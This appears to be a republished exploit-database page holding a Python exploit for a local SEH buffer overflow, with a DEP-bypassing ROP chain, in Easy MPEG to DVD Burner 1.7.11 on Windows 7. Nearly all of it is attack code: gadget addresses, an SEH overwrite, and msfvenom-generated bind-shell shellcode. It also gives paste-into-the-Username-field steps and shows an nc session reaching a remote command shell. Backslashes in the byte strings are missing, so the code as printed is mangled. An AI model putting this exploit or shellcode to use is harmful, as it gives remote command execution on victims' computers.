Easy MPEG To DVD Burner 1.7.11 Buffer Overflow

Details
Category: Vulnerabilities
Hits: 406
#!/usr/bin/python

#------------------------------------------------------------------------------------------------------------------------------------#
# Exploit: Easy MPEG to DVD Bu #!/usr/bin/python

#------------------------------------------------------------------------------------------------------------------------------------#
# Exploit: Easy MPEG to DVD Burner 1.7.11 SEH + DEP Bypass Local Buffer Overflow #
# Date: 2018-05-19 #
# Author: Juan Prescotto #
# Tested Against: Win7 Pro SP1 64 bit #
# Software Download #1: https://downloads.tomsguide.com/MPEG-Easy-Burner,0301-10418.html #
# Software Download #2: https://www.exploit-db.com/apps/32dc10d6e60ceb4d6e57052b6de3a0ba-easy_mpeg_to_dvd.exe #
# Version: 1.7.11 #
# Special Thanks to my wife for allowing me spend countless hours on this passion of mine #
# Credit: Thanks to Marwan Shamel (https://www.exploit-db.com/exploits/44565/) for his work on the original SEH exploit #
# Steps : Open the APP > click on register > Username field > paste in contents from the .txt file that was generated by this script #
#------------------------------------------------------------------------------------------------------------------------------------#
# Bad Characers: x00x0ax0d #
# SEH Offset: 1012 #
# Non-Participating Modules: SkinMagic.dll & Easy MPEG to DVD Burner.exe #
#------------------------------------------------------------------------------------------------------------------------------------#
# root@kali:~/Desktop# nc -nv 10.0.1.14 4444 #
# (UNKNOWN) [10.0.1.14] 4444 (?) open #
# Microsoft Windows [Version 6.1.7601] #
# Copyright (c) 2009 Microsoft Corporation. All rights reserved. #
# #
# C:Program Files (x86)Easy MPEG to DVD Burner> #
#------------------------------------------------------------------------------------------------------------------------------------#

# My register setup when VirtualAlloc() is called (Defeat DEP) :
#--------------------------------------------
# EAX = Points to PUSHAD at time VirtualAlloc() is called (Stack Pivot jumps over it on return)
# ECX = flProtect (0x40)
# EDX = flAllocationType (0x1000)
# EBX = dwSize (0x01)
# ESP = lpAddress (automatic)
# EBP = ReturnTo (stack pivot into a rop nop / jmp esp)
# ESI = ptr to VirtualAlloc()
# EDI = ROP NOP (RETN)

import struct

def create_rop_chain():

rop_gadgets = [
#***START VirtualAlloc() to ESI***
0x10027e6b, # POP EAX # RETN [SkinMagic.dll] **
0x1003b1d4, # ptr to &VirtualAlloc() [IAT SkinMagic.dll]
0x100369a1, # MOV EAX,DWORD PTR DS:[EAX] # RETN [SkinMagic.dll]
0x10032993, # POP EBX # RETN [SkinMagic.dll]
0xffffffff, #
0x10037bd3, # INC EBX # FPATAN # RETN [SkinMagic.dll]
0x10037bd3, # INC EBX # FPATAN # RETN [SkinMagic.dll]
0x10037bc0, # POP EDX # RETN [SkinMagic.dll]
0xffffffff, #
0x10035a07, # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+8] # RETN [SkinMagic.dll]
0x10037654, # POP EAX # RETN [SkinMagic.dll]
0xa141dffb, #
0x100317c8, # ADD EAX,5EFFC883 # RETN [SkinMagic.dll] Gets us to #0x0041a87e # ADD EDX,EBX # POP EBX # RETN 0x10 [Easy MPEG to DVD Burner.exe]
0x1003248d, # PUSH EAX # RETN [SkinMagic.dll] | Calls #0x0041a87e # ADD EDX,EBX # POP EBX # RETN 0x10 [Easy MPEG to DVD Burner.exe]
0x41414141, # FILLER
0x1003993e, # PUSH EDX # ADD AL,5F # POP ESI # POP EBX # RETN 0x0C [SkinMagic.dll]
0x41414141, # FILLER
0x41414141, # FILLER
0x41414141, # FILLER
0x41414141, # FILLER
0x41414141, # FILLER
#***END VirtualAlloc() to ESI***

#***START 0x40 to ECX***
0x100185fb, # XOR EAX,EAX # RETN [SkinMagic.dll]
0x41414141, # FILLER
0x41414141, # FILLER
0x41414141, # FILLER
0x10037c5b, # ADD EAX,40 # POP EBP # RETN [SkinMagic.dll]
0x41414141, # FILLER
0x10032176, # XCHG EAX,ECX # ADD EAX,20835910 # ADD BYTE PTR DS:[ECX+10059130],AH # MOV DWORD PTR DS:[1005912C],EAX # RETN [SkinMagic.dll]
#***END 0x40 to ECX***

#***START 0x1000 to EDX***
0x10032993, # POP EBX # RETN [SkinMagic.dll]
0xaaaaaaaa, #
0x10037bc0, # POP EDX # RETN [SkinMagic.dll]
0x55556556, #
0x10037654, # POP EAX # RETN [SkinMagic.dll]
0xa141dffb, #
0x100317c8, # ADD EAX,5EFFC883 # RETN [SkinMagic.dll] Gets us to #0x0041a87e # ADD EDX,EBX # POP EBX # RETN 0x10 [Easy MPEG to DVD Burner.exe]
0x1003248d, # PUSH EAX # RETN [SkinMagic.dll] | Calls #0x0041a87e # ADD EDX,EBX # POP EBX # RETN 0x10 [Easy MPEG to DVD Burner.exe]
0x41414141, # FILLER
#***END 0x1000 to EDX***

#*** Start EBP = ReturnTo (stack pivot into a rop nop / jmp esp)***
0x1002829d, # POP EBP # RETN [SkinMagic.dll]
0x41414141, # FILLER
0x41414141, # FILLER
0x41414141, # FILLER
0x41414141, # FILLER
0x100284f8, # {pivot 16 / 0x10} : # ADD ESP,0C # POP EBP # RETN [SkinMagic.dll]
#*** END EBP = ReturnTo (stack pivot into a rop nop / jmp esp)***

#***START 0x1 to EBX***
0x10032993, # POP EBX # RETN [SkinMagic.dll]
0xffffffff, #
0x10037bd3, # INC EBX # FPATAN # RETN [SkinMagic.dll]
0x10037bd3, # INC EBX # FPATAN # RETN [SkinMagic.dll]
#***END 0x1 to EBX***

#***START ROP NOP to EDI***
0x100342f0, # POP EDI # RETN [SkinMagic.dll]
0x10032158, # RETN (ROP NOP) [SkinMagic.dll]
#***END ROP NOP to EDI***

#***START Gadgets to execute PUSHAD / Execute VirtualAlloc()***
0x10037654, # POP EAX # RETN [SkinMagic.dll]
0xa140acd2, # CONSTANT
0x100317c8, # ADD EAX,5EFFC883 # RETN [SkinMagic.dll] (Puts location of a PUSHAD into EAX "0x00407555", # PUSHAD # RETN [Easy MPEG to DVD Burner.exe]
0x1003248d, # PUSH EAX # RETN [SkinMagic.dll] | Calls #0x00407555, # PUSHAD # RETN [Easy MPEG to DVD Burner.exe]
#***END Gadgets to execute PUSHAD***

#***After Return from VirtualAlloc() / stack pivot land in ROP NOP Sled / jmp ESP --> Execute Shellcode***
0x10032158, # RETN (ROP NOP) [SkinMagic.dll]
0x10032158, # RETN (ROP NOP) [SkinMagic.dll]
0x10032158, # RETN (ROP NOP) [SkinMagic.dll]
0x10032158, # RETN (ROP NOP) [SkinMagic.dll]
0x1001cc57, # & push esp # ret [SkinMagic.dll]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()

nop_rop_chain_1 = "xbdxddx02x10" * 18 # 0x1002ddbd : {pivot 12 / 0x0c} : # ADD ESP,0C # RETN [SkinMagic.dll]
nop_rop_chain_2 = "x58x21x03x10" * 22 # RETN (ROP NOP) [SkinMagic.dll]
seh = "x06x4ex40" # 0x00404e06 : {stack pivot 1928 / 0x788} (Lands us into rop nop chain --> rop_chain) : # POP EDI # POP ESI # POP EBP # MOV DWORD PTR FS:[0],ECX # POP EBX # ADD ESP,778 # RETN [Easy MPEG to DVD Burner.exe]
nop = "x90" * 20

#Max Space Avaliable for Shellcode = 600 bytes
#------------------------------------------------------------------------------------#
# msfvenom -p windows/shell_bind_tcp LPORT=4444 -b 'x00x0ax0d' -f py -v shellcode #
# x86/shikata_ga_nai succeeded with size 355 (iteration=0) #
#------------------------------------------------------------------------------------#
shellcode = ""
shellcode += "xb8x50x08x0fxf2xd9xe9xd9x74x24xf4x5b"
shellcode += "x29xc9xb1x53x31x43x12x03x43x12x83x93"
shellcode += "x0cxedx07xefxe5x73xe7x0fxf6x13x61xea"
shellcode += "xc7x13x15x7fx77xa4x5dx2dx74x4fx33xc5"
shellcode += "x0fx3dx9cxeaxb8x88xfaxc5x39xa0x3fx44"
shellcode += "xbaxbbx13xa6x83x73x66xa7xc4x6ex8bxf5"
shellcode += "x9dxe5x3exe9xaaxb0x82x82xe1x55x83x77"
shellcode += "xb1x54xa2x26xc9x0ex64xc9x1ex3bx2dxd1"
shellcode += "x43x06xe7x6axb7xfcxf6xbax89xfdx55x83"
shellcode += "x25x0cxa7xc4x82xefxd2x3cxf1x92xe4xfb"
shellcode += "x8bx48x60x1fx2bx1axd2xfbxcdxcfx85x88"
shellcode += "xc2xa4xc2xd6xc6x3bx06x6dxf2xb0xa9xa1"
shellcode += "x72x82x8dx65xdex50xafx3cxbax37xd0x5e"
shellcode += "x65xe7x74x15x88xfcx04x74xc5x31x25x86"
shellcode += "x15x5ex3exf5x27xc1x94x91x0bx8ax32x66"
shellcode += "x6bxa1x83xf8x92x4axf4xd1x50x1exa4x49"
shellcode += "x70x1fx2fx89x7dxcaxdax81xd8xa5xf8x6c"
shellcode += "x9ax15xbdxdex73x7cx32x01x63x7fx98x2a"
shellcode += "x0cx82x23x45x91x0bxc5x0fx39x5ax5dxa7"
shellcode += "xfbxb9x56x50x03xe8xcexf6x4cxfaxc9xf9"
shellcode += "x4cx28x7ex6dxc7x3fxbax8cxd8x15xeaxd9"
shellcode += "x4fxe3x7bxa8xeexf4x51x5ax92x67x3ex9a"
shellcode += "xddx9bxe9xcdx8ax6axe0x9bx26xd4x5axb9"
shellcode += "xbax80xa5x79x61x71x2bx80xe4xcdx0fx92"
shellcode += "x30xcdx0bxc6xecx98xc5xb0x4ax73xa4x6a"
shellcode += "x05x28x6exfaxd0x02xb1x7cxddx4ex47x60"
shellcode += "x6cx27x1ex9fx41xafx96xd8xbfx4fx58x33"
shellcode += "x04x7fx13x19x2dxe8xfaxc8x6fx75xfdx27"
shellcode += "xb3x80x7excdx4cx77x9exa4x49x33x18x55"
shellcode += "x20x2cxcdx59x97x4dxc4"

exploit = nop_rop_chain_1 + nop_rop_chain_2 + rop_chain + nop + shellcode + "x41" * (1012-len(nop_rop_chain_1)-len(nop_rop_chain_2)-len(rop_chain)-len(nop)-len(shellcode)) + seh

f = open ("Exploit.txt", "w")
f.write(exploit)
f.close()